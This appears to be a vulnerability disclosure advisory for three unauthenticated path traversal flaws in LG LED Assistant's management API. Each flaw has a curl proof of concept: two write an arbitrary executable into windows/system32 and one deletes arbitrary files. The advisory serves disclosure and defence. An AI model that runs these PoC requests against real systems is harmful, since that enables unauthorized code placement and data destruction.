LG LED Assistant Multiple Vulnerabilities

seamCorrectionFileCreate Path Traversal File Upload

(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

A path traversal vulnerability exists in the endpoint handler for /api/management/seamCorrectionFileCreate in Management.js. An unauthenticated remote attacker can exploit this to upload arbitrary files to any location on the disk drive where the product is installed.

PoC:

curl -ki -d 'fileName=../../../../../../../windows/system32/evil.exe&coef=["\u0011\u0022\u0033\u0044"]' '<https://<target>:8787/api/management/seamCorrectionFileCreate'>

get3DLutFile Path Traversal File Upload

(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H)

A path traversal vulnerability exists in the endpoint handler for /api/Management/get3DLutFile in Management.js. An unauthenticated remote attacker can exploit this to upload arbitrary files to any location on the disk drive where the product is installed. The file extension of the uploaded file is limited to .cube, .CUBE, or .3dl.

PoC:

curl -ki -F 'file=@/tmp/test.txt;filename=../../../../../../../windows/system32/evil.exe.cube' '<https://<target>:8787/api/Management/get3DLutFile'>

remove3DLUT Path Traversal File Deletion

(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H)

A path traversal vulnerability exists in the endpoint handler for /api/management/remove3DLUT in Management.js. An unauthenticated remote attacker can exploit this to delete any file on the disk drive where the product is installed.

PoC:

curl -ki -d 'filename=../../../../../../../../tmp/delete_me.txt' '<https://<target>:8787/api/management/remove3DLUT'>

NOTE: The vendor has not supplied Tenable with CVE identifiers for these issues. As the vendor themselves are the CNA with claims to these products, we are unable to assign identifiers.